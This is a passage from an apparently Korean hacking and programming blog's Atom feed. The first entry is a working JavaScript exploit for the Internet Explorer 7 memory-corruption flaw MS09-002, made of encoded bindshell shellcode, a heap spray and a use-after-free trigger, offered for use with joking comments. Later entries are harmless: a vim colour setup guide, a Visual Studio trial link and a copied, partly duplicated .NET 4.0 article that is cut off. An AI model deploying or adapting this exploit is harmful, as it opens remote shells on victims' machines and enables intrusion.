scheme='http://www.blogger.com/atom/ns#' term='Hacking Code'/><title type='text'>MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)</title><content type='html'>&amp;lt script language="JavaScript"&gt;&lt;br /&gt;&lt;br /&gt;// Skyland win32 bindshell (28876/tcp) shellcode&lt;br /&gt;// If you want an evill Shellcode go ahead !!!&lt;br /&gt;&lt;br /&gt;var shellcode=unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");&lt;br /&gt;&lt;br /&gt;var array = new Array();&lt;br /&gt;&lt;br /&gt;//Don't need change but for execute time you can change ;)&lt;br /&gt;&lt;br /&gt;var calc = 0x100000-(shellcode.length*2+0x01020);&lt;br /&gt;&lt;br /&gt;// Spray or Not :-??&lt;br /&gt;&lt;br /&gt;var point = unescape("%u0D0D%u0D0D");&lt;br /&gt;while(point.length&amp;lt calc) { point+=point;}&lt;br /&gt;var sec = point.substring(0,calc/2);&lt;br /&gt;delete point;&lt;br /&gt;&lt;br /&gt;for(i=0; i&amp;lt 0xD0; i++) {&lt;br /&gt;array[i] = sec + shellcode;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// N/A Code &lt;br /&gt;&lt;br /&gt;CollectGarbage();&lt;br /&gt;&lt;br /&gt;var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");&lt;br /&gt;var a1 = new Array();&lt;br /&gt;for(var x=0;x&amp;lt 500;x++) a1.push(document.createElement("img"));&lt;br /&gt;o1=document.createElement("tbody");&lt;br /&gt;o1.click;&lt;br /&gt;var o2 = o1.cloneNode();&lt;br /&gt;o1.clearAttributes();&lt;br /&gt;o1=null; CollectGarbage();&lt;br /&gt;for(var x=0;x&amp;lt a1.length;x++) a1[x].src=s1;&lt;br /&gt;o2.click;&lt;br /&gt;&amp;lt /script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3549181699098580172?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3549181699098580172/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/s.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3549181699098580172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3549181699098580172'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/s.html' title='MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-1492970129492613334</id><published>2009-02-26T17:31:00.000-08:00</published><updated>2009-02-26T17:42:45.348-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><title type='text'>CentOS 에서 putty로 vim color 사용하기</title><content type='html'>&lt;span style="font-family: arial;"&gt;1. 설치하기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;[root@localhost ~]# rpm -qa|grep vim&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;vim-enhanced-7.0.109-3.el5.3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;vim-minimal-7.0.109-3.el5.3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;vim-common-7.0.109-3.el5.3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;[root@localhost ~]#&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;위의 3가지 rpm이 설치되어 있는지 확인하세요. 특히 초기 설치시에는&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;vim-enhanced-7.0.109-3.el5.3 패키지가 설치되지 않아서 그런듯 합니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;[root@localhost ~]# rpm -ql vim-enhanced&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/etc/profile.d/vim.csh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/etc/profile.d/vim.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/bin/ex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/bin/rvim&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/bin/vim&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/bin/vimdiff&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/bin/vimtutor&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/share/man/man1/rvim.1.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/share/man/man1/vimdiff.1.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;/usr/share/man/man1/vimtutor.1.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;[root@localhost ~]#&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;설치는 yum install vim-enhanced -y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;2. vi를 vim으로 alias 걸어주기&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;$HOME 디렉토리의 .bashrc 이용 혹은 /etc/bashrc 파일에 추가&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;alias vi='vim'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;추가해주고 실행(. .bashrc) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;3. $HOME에 .vimrc 설정&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;(전체 사용자에게 설정되게 하려면 /etc/vimrc 파일에 내용 추가)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set term=xterm-color    " color 설정에 필요함&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;syntax on               " color 설정에 필요함&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set nu                  " 라인 번호&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set ai                  " 자동으로 들여쓰기를 한다.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set bs=2                " allow backspacing over everything in insert mode&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set cindent             " C 프로그래밍을 할 때 자동으로 들여쓰기를 한다.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set smartindent         " 좀 더 똑똑한 들여쓰기를 위한 옵션&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set ruler               " 화면 우측 하단에 현재 커서의 위치 표시&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set tabstop=4           " Tab 크기를 4로 설정&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set shiftwidth=4        " 자동들여쓰기 크기를 4로 설정&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set history=999         " 이전 작업하던 라인을 기억한다.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set pastetoggle=        " 자동들여쓰기 기능 (Paste 시에는 Off 하는게 좋다)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set fileencoding=euc-kr " UTF-8을 기본 저장포맷으로&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set encoding=euc-kr     " UTF-8을 기본 읽기포맷으로&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set termencoding=euc-kr " 단 터미널은 euc-kr로&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set showmatch           " 입력시 괄호를 닫을때 그와 쌍이 되는 괄호를 깜빡&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;set paste&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;hi Statement ctermfg=Yellow&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;hi Comment ctermfg=Gray&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;hi Type ctermfg=LightGreen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;colorscheme seoul&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;4. 추가 color 설정&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;.vimrc 파일에&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;colorscheme [scheme파일명]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;scheme파일은 /usr/share/vim/vim70/colors 에 확장자 vim으로 위치시킴&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;(파일 다운 http://www.cs.cmu.edu/~maverick/VimColorSchemeTest/index-c.html )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;즉 colors 폴더에 있는 desert.vim을 적용시키고자 한다면 .vimrc 파일에&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;colorscheme desert&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;추가하면 됨.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-1492970129492613334?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/1492970129492613334/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/centos-putty-vim-color.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1492970129492613334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/1492970129492613334'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/centos-putty-vim-color.html' title='CentOS 에서 putty로 vim color 사용하기'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-190856782166031063</id><published>2009-02-24T17:19:00.001-08:00</published><updated>2009-03-10T23:20:26.866-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><title type='text'>VS2008ProEdition90DayTrial Download URL</title><content type='html'>&lt;a href="http://orcas.dlservice.microsoft.com/dl/download/A/1/3/A13E22B4-B06A-4256-98E6-7E37F2C49E08/VS2008ProEdition90DayTrialKORX1435989.iso?lcid=1042"&gt;Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-190856782166031063?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/190856782166031063/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/vs2008proedition90daytrial-download-url.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/190856782166031063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/190856782166031063'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/vs2008proedition90daytrial-download-url.html' title='VS2008ProEdition90DayTrial Download URL'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-3044089002887510060</id><published>2009-02-24T16:10:00.000-08:00</published><updated>2009-02-24T17:18:52.278-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><title type='text'>The Future of .NET Languages</title><content type='html'>&lt;span style=";font-family:arial;font-size:85%;"  &gt;The Future of .NET Languages&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;At this year's Professional Developers Conference (PDC 2008), Microsoft® was quite forthcoming with specifics&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;about the future for developers on the Microsoft .NET® platform. In this article, we will take a quick look at some of the&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;upcoming features in the .NET 4.0 Framework, the new Microsoft F#® language, and discuss the long-term vision&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Microsoft has for the .NET Platform in the years to come.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Co-Evolution for VB.NET and C#&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;One of the most prominent messages coming from Microsoft right now is geared towards Microsoft Visual&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Basic® .NET developers. VB.NET and Microsoft Visual C#® are both built on top of the Common Language Runtime&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;(CLR), which means they both compile down into the same Common Intermediate Language (CIL). Since they both&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;compile down to the same code, there should be no intrinsic benefit of one language over another. However, both&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;languages are maintained by separate teams at Microsoft, and over the years this separation has led to a variety of&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;language-specific features in both C# and VB.NET as the teams focus on different areas with their respective&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;products. Many VB.NET developers feel that the most exciting new features appear in C# first and are only later&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;introduced into VB.NET. Naturally, this has generated a bit of animosity in the VB.NET community.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Co-evolution is a promise from Microsoft that recognises VB.NET and C# as equally important languages, and&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;guarantees that as new language features evolve, those features will be incorporated into both languages&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;simultaneously. No longer will you need to second guess your decision to go with a particular language for want of a&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;particular feature, and the debate between which language is "better" will be reduced back down to syntactic&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;preference. And while C# developers will probably have a lingering superiority complex with which VB.NET developers&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;will have to contend, all VB.NET developers need to do is remind the C# devs that it's all the same under the covers.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Introducing the Dynamic Language Runtime&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Microsoft is acutely aware that the .NET Framework is not the only choice for building applications. All you have to do&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;is take a quick glance around the development sphere and you'll find a number of language options, and that number&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;is only expected to rise as domain-specific languages emerge. People are spending time and energy writing useful&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;components in these languages, so the question is, how can you use a component written in another language&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;without having to rewrite it in .NET?&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Perhaps the most exciting new feature in the upcoming .NET 4.0 release is the Dynamic Language Runtime (DLR). In&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;as much as the Common Language Runtime (CLR) provides a common platform for statically typed languages like&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;VB.NET and C#, the Dynamic Language Runtime provides a common platform for dynamically typed languages like&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;JavaScript, Ruby, Python, and even legacy COM components. It represents a major leap forward in language&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;interoperability for the .NET Framework, providing an abstraction of language operations, shared memory space to&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;avoid marshalling data back and forth between processes, a common set of language features like garbage&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;collection, and the plumbing to convert different representations of data from one language to another.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;At a high level, you can think of the Dynamic Language Runtime as having three layers (see figure 1 below):&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;l .NET Language Integration&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;l DLR Core Components&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;l Language Binders&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Figure 1. Dynamic Language Runtime (Slide courtesy of Anders Hejlsberg and Jim Hugunin's presentation at PDC&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;2008.)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;The first layer, .NET Language Integration, simply represents the need for .NET languages to have a notion of what&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;By Damon Armstrong , published on 09 Jan 2009 Comments (1) PDF&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;the DLR is and how to use it. For the most part, you won't even notice this aspect of the DLR because most of&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;the .NET languages had a natural integration point. IronRuby and IronPython are both dynamically typed languages,&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;so the DLR fit right in. VB.NET has always supported the notion of late binding on the Object type, so the DLR&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;incorporated nicely into late binding resolution. C#, however, has no notion of late binding and needed an additional&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;static type for dynamic language support. It's called the dynamic type, and we'll talk about it in more detail a bit later.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;The second layer is the Dynamic Language Runtime itself, which consists of three core components: Expression&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Trees, Dynamic Dispatch, and Call Site Caching. An Expression Tree is a representation of code in the form of a tree,&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;which helps abstract languages into a consistent format on which the DLR can operate. Once dynamic code is in a&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;tree representation, the DLR can look at the tree and generate CLR code from that tree for actual execution. Parsing&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;dynamic code into an expression tree and then building the CLR is an expensive operation, so the DLR employs a&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;performance technique known as Call Site Caching to avoid having to "recompile" the dynamic code each time it's&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;called. Dynamic Dispatch ensures that appropriate Language Binders are used for dynamic invocations.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Language Binders, which make up the third layer, are language-specific implementations of certain operations the&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Dynamic Language Runtime needs to understand about each language that wishes to participate in the DLR.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Of course, the DLR is far more detailed than this brief overview can provide. For more information on all of its&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;intricacies, please watch Jim Hugunin's PDC talk on Dynamic Languages in .NET.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt; &lt;span style="font-size:85%;"&gt;&lt;a style="font-family: arial;" set="yes" linkindex="227" href="http://cfs13.tistory.com/original/18/tistory/2009/02/03/22/55/49884cbabf8df" rel="lightbox" target="_blank"&gt;&lt;img style="width: 547px; height: 391px;" src="http://cfs13.tistory.com/image/18/tistory/2009/02/03/22/55/49884cbabf8df" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Figure 1. Dynamic Language Runtime (Slide courtesy of Anders Hejlsberg and Jim Hugunin's presentation at PDC&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;2008.)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;The first layer, .NET Language Integration, simply represents the need for .NET languages to have a notion of what&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;By Damon Armstrong , published on 09 Jan 2009 Comments (1) PDF&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;the DLR is and how to use it. For the most part, you won't even notice this aspect of the DLR because most of&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;the .NET languages had a natural integration point. IronRuby and IronPython are both dynamically typed languages,&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;so the DLR fit right in. VB.NET has always supported the notion of late binding on the Object type, so the DLR&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;incorporated nicely into late binding resolution. C#, however, has no notion of late binding and needed an additional&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;static type for dynamic language support. It's called the dynamic type, and we'll talk about it in more detail a bit later.&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;The second layer is the Dynamic Language Runtime itself, which consists of three core components: Expression&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;Trees, Dynamic Dispatch, and Call Site Caching. An Expression Tree is a representation of code in the form of a tree,&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;which helps abstract languages into a consistent format on which the DLR can operate. Once dynamic code is in a&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span 